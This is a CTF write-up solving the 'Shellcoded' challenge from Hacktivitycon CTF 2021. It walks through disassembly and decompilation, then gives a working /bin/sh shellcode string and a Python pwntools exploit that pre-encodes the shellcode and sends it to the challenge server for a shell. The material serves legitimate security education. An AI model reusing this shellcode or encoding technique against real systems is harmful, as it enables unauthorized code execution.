Hacktivitycon CTF 2021 - Shellcoded

"Shellcoded" is a binary exploitation challenge in Hacktivitycon CTF 2021. You can download the challenge file here.
Details
Similarly to how we solve retcheck, let's perform static analysis on the binary.
<cjason@cj-basepc:shellcoded>>$ pwn checksec shellcoded
[!] Could not populate PLT: The 'unicorn<1.0.2rc4,>=1.0.2rc1' distribution was not found and is required by pwntools
[*] '/home/cjason/ctfs/hacktivity/pwn/shellcoded/shellcoded'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
<cjason@cj-basepc:shellcoded>>$ r2 shellcoded
Warning: run r2 with -e bin.cache=true to fix relocations in disassembly
WARNING: No calling convention defined for this file, analysis may be inaccurate.
-- Run a command with unspecified long sequence of 'a', pancake will be summoned and do the analysis for you.
[0x000011c0]> aaa
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000011c0]> afl
0x000011c0 1 47 entry0
0x000011f0 4 41 -> 34 sym.deregister_tm_clones
0x00001220 4 57 -> 51 sym.register_tm_clones
0x00001260 5 57 -> 54 sym.__do_global_dtors_aux
0x000010f0 1 11 sym..plt.got
0x000012a0 1 9 entry.init0
0x00001000 3 27 sym._init
0x00001510 1 5 sym.__libc_csu_fini
0x00001518 1 13 sym._fini
0x000012a9 3 34 sym.timeout
0x00001110 1 11 sym.imp._exit
0x000014a0 4 101 sym.__libc_csu_init
0x0000132a 13 366 main
0x000012cb 1 95 sym.setup
0x00001130 1 11 sym.imp.setbuf
0x00001160 1 11 sym.imp.__sysv_signal
0x00001140 1 11 sym.imp.alarm
0x00001180 1 11 sym.imp.sysconf
0x00001100 1 11 sym.imp.free
0x00001120 1 11 sym.imp.puts
0x00001150 1 11 sym.imp.read
0x00001170 1 11 sym.imp.mprotect
0x00001190 1 11 sym.imp.exit
0x000011a0 1 11 sym.imp.fwrite
0x000011b0 1 11 sym.imp.aligned_alloc
[0x000011c0]> s main
[0x0000132a]> pdf
; DATA XREF from entry0 @ 0x11e1
┌ 366: main ();
│ ; var int64_t var_18h @ rbp-0x18
│ ; var int64_t var_14h @ rbp-0x14
│ ; var uint32_t var_10h @ rbp-0x10
│ ; var signed int64_t var_8h @ rbp-0x8
│ 0x0000132a f30f1efa endbr64
│ 0x0000132e 55 push rbp
│ 0x0000132f 4889e5 mov rbp, rsp
│ 0x00001332 4883ec20 sub rsp, 0x20
│ 0x00001336 48c745f00000. mov qword [var_10h], 0
│ 0x0000133e 488b150b2d00. mov rdx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│ 0x00001345 488b05042d00. mov rax, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│ 0x0000134c 4889d6 mov rsi, rdx
│ 0x0000134f 4889c7 mov rdi, rax
│ 0x00001352 e859feffff call sym.imp.aligned_alloc
│ 0x00001357 488945f0 mov qword [var_10h], rax
│ 0x0000135b 48837df000 cmp qword [var_10h], 0
│ ┌─< 0x00001360 752a jne 0x138c
│ │ 0x00001362 488b05d72c00. mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ │ ; [0x4040:8]=0
│ │ 0x00001369 4889c1 mov rcx, rax
│ │ 0x0000136c ba1b000000 mov edx, 0x1b
│ │ 0x00001371 be01000000 mov esi, 1
│ │ 0x00001376 488d3d8b0c00. lea rdi, str.Failed_to_allocate_memory._n ; 0x2008 ; "Failed to allocate memory.\n"
│ │ 0x0000137d e81efeffff call sym.imp.fwrite
│ │ 0x00001382 bf01000000 mov edi, 1
│ │ 0x00001387 e804feffff call sym.imp.exit
│ │ ; CODE XREF from main @ 0x1360
│ └─> 0x0000138c 488d3d910c00. lea rdi, str.Enter_your_shellcode. ; 0x2024 ; "Enter your shellcode."
│ 0x00001393 e888fdffff call sym.imp.puts
│ 0x00001398 488b15b12c00. mov rdx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│ 0x0000139f 488b45f0 mov rax, qword [var_10h]
│ 0x000013a3 4889c6 mov rsi, rax
│ 0x000013a6 bf00000000 mov edi, 0
│ 0x000013ab e8a0fdffff call sym.imp.read
│ 0x000013b0 488945f8 mov qword [var_8h], rax
│ 0x000013b4 48837df800 cmp qword [var_8h], 0
│ ┌─< 0x000013b9 0f88c6000000 js 0x1485
│ │ 0x000013bf c745e8000000. mov dword [var_18h], 0
│ ┌──< 0x000013c6 eb52 jmp 0x141a
│ ││ ; CODE XREF from main @ 0x1423
│ ┌───> 0x000013c8 8b45e8 mov eax, dword [var_18h]
│ ╎││ 0x000013cb 83e001 and eax, 1
│ ╎││ 0x000013ce 85c0 test eax, eax
│ ┌────< 0x000013d0 7507 jne 0x13d9
│ │╎││ 0x000013d2 b801000000 mov eax, 1
│ ┌─────< 0x000013d7 eb05 jmp 0x13de
│ ││╎││ ; CODE XREF from main @ 0x13d0
│ │└────> 0x000013d9 b8ffffffff mov eax, 0xffffffff ; -1
│ │ ╎││ ; CODE XREF from main @ 0x13d7
│ └─────> 0x000013de 8945ec mov dword [var_14h], eax
│ ╎││ 0x000013e1 8b45e8 mov eax, dword [var_18h]
│ ╎││ 0x000013e4 4863d0 movsxd rdx, eax
│ ╎││ 0x000013e7 488b45f0 mov rax, qword [var_10h]
│ ╎││ 0x000013eb 4801d0 add rax, rdx
│ ╎││ 0x000013ee 0fb600 movzx eax, byte [rax]
│ ╎││ 0x000013f1 89c2 mov edx, eax
│ ╎││ 0x000013f3 8b45e8 mov eax, dword [var_18h]
│ ╎││ 0x000013f6 89c6 mov esi, eax
│ ╎││ 0x000013f8 8b45ec mov eax, dword [var_14h]
│ ╎││ 0x000013fb 89c1 mov ecx, eax
│ ╎││ 0x000013fd 89f0 mov eax, esi
│ ╎││ 0x000013ff 0fafc1 imul eax, ecx
│ ╎││ 0x00001402 8d0c02 lea ecx, [rdx + rax]
│ ╎││ 0x00001405 8b45e8 mov eax, dword [var_18h]
│ ╎││ 0x00001408 4863d0 movsxd rdx, eax
│ ╎││ 0x0000140b 488b45f0 mov rax, qword [var_10h]
│ ╎││ 0x0000140f 4801d0 add rax, rdx
│ ╎││ 0x00001412 89ca mov edx, ecx
│ ╎││ 0x00001414 8810 mov byte [rax], dl
│ ╎││ 0x00001416 8345e801 add dword [var_18h], 1
│ ╎││ ; CODE XREF from main @ 0x13c6
│ ╎└──> 0x0000141a 8b45e8 mov eax, dword [var_18h]
│ ╎ │ 0x0000141d 4898 cdqe
│ ╎ │ 0x0000141f 483945f8 cmp qword [var_8h], rax
│ └───< 0x00001423 7fa3 jg 0x13c8
│ │ 0x00001425 488b0d242c00. mov rcx, qword [obj.PAGE_SIZE] ; [0x4050:8]=0
│ │ 0x0000142c 488b45f0 mov rax, qword [var_10h]
│ │ 0x00001430 ba05000000 mov edx, 5
│ │ 0x00001435 4889ce mov rsi, rcx
│ │ 0x00001438 4889c7 mov rdi, rax
│ │ 0x0000143b e830fdffff call sym.imp.mprotect
│ │ 0x00001440 85c0 test eax, eax
│ ┌──< 0x00001442 7436 je 0x147a
│ ││ 0x00001444 488b45f0 mov rax, qword [var_10h]
│ ││ 0x00001448 4889c7 mov rdi, rax
│ ││ 0x0000144b e8b0fcffff call sym.imp.free
│ ││ 0x00001450 488b05e92b00. mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││ ; [0x4040:8]=0
│ ││ 0x00001457 4889c1 mov rcx, rax
│ ││ 0x0000145a ba22000000 mov edx, 0x22 ; '"'
│ ││ 0x0000145f be01000000 mov esi, 1
│ ││ 0x00001464 488d3dd50b00. lea rdi, str.Failed_to_set_memory_permissions._n ; 0x2040 ;
│ ││ 0x0000146b e830fdffff call sym.imp.fwrite
│ ││ 0x00001470 bf01000000 mov edi, 1
│ ││ 0x00001475 e816fdffff call sym.imp.exit
│ ││ ; CODE XREF from main @ 0x1442
│ └──> 0x0000147a 488b55f0 mov rdx, qword [var_10h]
│ │ 0x0000147e b800000000 mov eax, 0
│ │ 0x00001483 ffd2 call rdx
│ │ ; CODE XREF from main @ 0x13b9
│ └─> 0x00001485 488b45f0 mov rax, qword [var_10h]
│ 0x00001489 4889c7 mov rdi, rax
│ 0x0000148c e86ffcffff call sym.imp.free
│ 0x00001491 b800000000 mov eax, 0
│ 0x00001496 c9 leave
└ 0x00001497 c3 ret
[0x0000132a]>
In address 0x000013ab, the program reads in data up to obj.PAGE\_SIZE
into the variable var\_10h
. Then in address 0x00001483, the program seems to load var\_10h
and calls it! Thus, the hint given in the question is no lie, the program does run user given code! But what's the catch? It appears that var\_10h
is modified by a loop between reading and calling. We could try and understand the assembly instruction to work out what kind of modification is done to var\_10h
. The more efficient way would be to de-compile the function using a radare2 plugin "r2ghidra".
To use r2ghidra, make sure the seek is pointed towards the function that we want to de-compile and enter pdg
. The following shows the output:
[0x0000132a]> pdg
// WARNING: Could not reconcile some variable overlaps
// WARNING: [r2ghidra] Matching calling convention reg of function main failed, args may be inaccurate.
// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_8h to Decompiler type: Unknown type
// identifier signed
// WARNING: [r2ghidra] Detected overlap for variable var_14h
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.aligned_alloc failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.fwrite failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.exit failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.puts failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.read failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.mprotect failed, args may be inaccurate.
// WARNING: [r2ghidra] Matching calling convention reg of function sym.imp.free failed, args may be inaccurate.
undefined8 main(void)
{
char cVar1;
int32_t iVar2;
code *pcVar3;
int64_t iVar4;
int64_t var_18h;
uint32_t var_10h;
undefined8 var_8h;
pcVar3 = (code *)sym.imp.aligned_alloc(_obj.PAGE_SIZE, _obj.PAGE_SIZE);
if (pcVar3 == NULL) {
sym.imp.fwrite("Failed to allocate memory.\n", 1, 0x1b);
sym.imp.exit(1);
}
sym.imp.puts("Enter your shellcode.");
iVar4 = sym.imp.read(0, pcVar3, _obj.PAGE_SIZE);
if (-1 < iVar4) {
for (var_18h._0_4_ = 0; (int32_t)(uint32_t)var_18h < iVar4; var_18h._0_4_ = (uint32_t)var_18h + 1) {
if (((uint32_t)var_18h & 1) == 0) {
cVar1 = '\x01';
}
else {
cVar1 = -1;
}
pcVar3[(int32_t)(uint32_t)var_18h] =
(code)((char)pcVar3[(int32_t)(uint32_t)var_18h] + (char)(uint32_t)var_18h * cVar1);
}
iVar2 = sym.imp.mprotect(pcVar3, _obj.PAGE_SIZE, 5);
if (iVar2 != 0) {
sym.imp.free(pcVar3);
sym.imp.fwrite("Failed to set memory permissions.\n", 1, 0x22, _reloc.stderr);
sym.imp.exit(1);
}
(*pcVar3)();
}
sym.imp.free(pcVar3);
return 0;
}
Indeed, a for-loop which iterates over every character of pcVar3
, which I think is the same as var_10h
. For every character, this block of code applies:
if (((uint32_t)var_18h & 1) == 0) {
cVar1 = '\x01';
}
else {
cVar1 = -1;
}
pcVar3[(int32_t)(uint32_t)var_18h] = (code)((char)pcVar3[(int32_t)(uint32_t)var_18h] + (char)(uint32_t)var_18h * cVar1);
which translates to:
if ( index is even ){
tmp = 1;
}
else {
tmp = -1;
}
pcVar3[index] = (char) (pcVar3[index] + (index * tmp));
This means we will need to apply the inverse of the process to our shellcode, so that it gets modified back to its original form when we feed it into the program. Now that we know that, its time to create a shellcode. This is most easily done using pwntool's shellcraft module.
<cjason@cj-basepc:shellcoded>>$ pwn shellcraft amd64.linux.sh -f s
"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7hri\x01\x01\x814\x24\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"
Let's write our exploit script with the shellcode generated using pwntool's shellcraft.
#!/usr/bin/python
from pwn import *
shellcode = b"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7hri\x01\x01\x814\x24\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"
barr = shellcode
# unfuck it
rr = b''
for idx, c in enumerate(barr):
if idx % 2 == 0:
# reverse
cvar = -1
else:
cvar = 1
#hx = hex(barr[idx] + idx*cvar)
ir = barr[idx] + idx*cvar
if ir < 0:
ir = ir + 256
elif ir > 255:
ir = ir - 256
rr += p8(ir)
conn = remote('challenge.ctf.games', 32383)
conn.sendline(rr)
conn.interactive()
Run our exploit and we got shell on the system.
